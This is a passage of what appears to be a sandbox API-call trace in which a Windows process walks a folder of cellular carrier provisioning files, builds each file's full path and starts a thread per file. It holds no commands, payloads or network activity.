(Colombia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f03130 [0182.737] wcscpy (in: _Dest=0x4f03130, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.737] wcscat (in: _Dest=0x4f03130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.737] wcscat (in: _Dest=0x4f03130, _Source="72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" [0182.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0182.738] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90353002, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90353002, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90353002, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="73__CO~1.PRO")) returned 1 [0182.738] wcscmp (_String1="73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.738] wcscmp (_String1="73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x304dfe8 [0182.738] wcscpy (in: _Dest=0x304dfe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.738] wcscat (in: _Dest=0x304dfe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.738] wcscat (in: _Dest=0x304dfe8, _Source="73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" [0182.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304dfe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0182.739] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90353002, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90353002, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90353002, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="74__CE~1.PRO")) returned 1 [0182.739] wcscmp (_String1="74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.739] wcscmp (_String1="74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x30546f8 [0182.739] wcscpy (in: _Dest=0x30546f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.739] wcscat (in: _Dest=0x30546f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.739] wcscat (in: _Dest=0x30546f8, _Source="74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30546f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0182.739] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9037926e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9037926e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9037926e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="75__CO~1.PRO")) returned 1 [0182.740] wcscmp (_String1="75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.740] wcscmp (_String1="75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f01a20 [0182.740] wcscpy (in: _Dest=0x4f01a20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.740] wcscat (in: _Dest=0x4f01a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.740] wcscat (in: _Dest=0x4f01a20, _Source="75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" [0182.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0182.740] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9037926e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9037926e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9037926e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", cAlternateFileName="76__CO~1.PRO")) returned 1 [0182.740] wcscmp (_String1="76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.740] wcscmp (_String1="76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2ff09d0 [0182.741] wcscpy (in: _Dest=0x2ff09d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.741] wcscat (in: _Dest=0x2ff09d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.741] wcscat (in: _Dest=0x2ff09d0, _Source="76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" [0182.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff09d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0182.741] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9037926e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9037926e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9037926e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="77__CO~1.PRO")) returned 1 [0183.076] wcscmp (_String1="77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.076] wcscmp (_String1="77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.076] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe1190 [0183.076] wcscpy (in: _Dest=0x2fe1190, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.076] wcscat (in: _Dest=0x2fe1190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.076] wcscat (in: _Dest=0x2fe1190, _Source="77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" [0183.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0183.077] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9037926e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9037926e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9037926e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="78__CO~1.PRO")) returned 1 [0183.078] wcscmp (_String1="78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.078] wcscmp (_String1="78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f025a8 [0183.078] wcscpy (in: _Dest=0x4f025a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.078] wcscat (in: _Dest=0x4f025a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.078] wcscat (in: _Dest=0x4f025a8, _Source="78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" [0183.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f025a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0183.114] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9039f4d9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9039f4d9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9039f4d9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="79__CO~1.PRO")) returned 1 [0183.114] wcscmp (_String1="79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.114] wcscmp (_String1="79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02088 [0183.114] wcscpy (in: _Dest=0x4f02088, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.115] wcscat (in: _Dest=0x4f02088, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.115] wcscat (in: _Dest=0x4f02088, _Source="79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" [0183.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0183.115] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="7__CON~1.PRO")) returned 1 [0183.115] wcscmp (_String1="7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.115] wcscmp (_String1="7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe19a0 [0183.115] wcscpy (in: _Dest=0x2fe19a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.115] wcscat (in: _Dest=0x2fe19a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.116] wcscat (in: _Dest=0x2fe19a0, _Source="7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" [0183.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe19a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0183.116] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9039f4d9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9039f4d9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9039f4d9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="80__CO~1.PRO")) returned 1 [0183.116] wcscmp (_String1="80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.116] wcscmp (_String1="80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x3056360 [0183.116] wcscpy (in: _Dest=0x3056360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.116] wcscat (in: _Dest=0x3056360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.116] wcscat (in: _Dest=0x3056360, _Source="80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" [0183.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0183.117] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9039f4d9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9039f4d9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9039f4d9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="81__CO~1.PRO")) returned 1 [0183.117] wcscmp (_String1="81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.117] wcscmp (_String1="81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02ac8 [0183.117] wcscpy (in: _Dest=0x4f02ac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.117] wcscat (in: _Dest=0x4f02ac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.117] wcscat (in: _Dest=0x4f02ac8, _Source="81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" [0183.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0183.118] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9039f4d9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9039f4d9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, 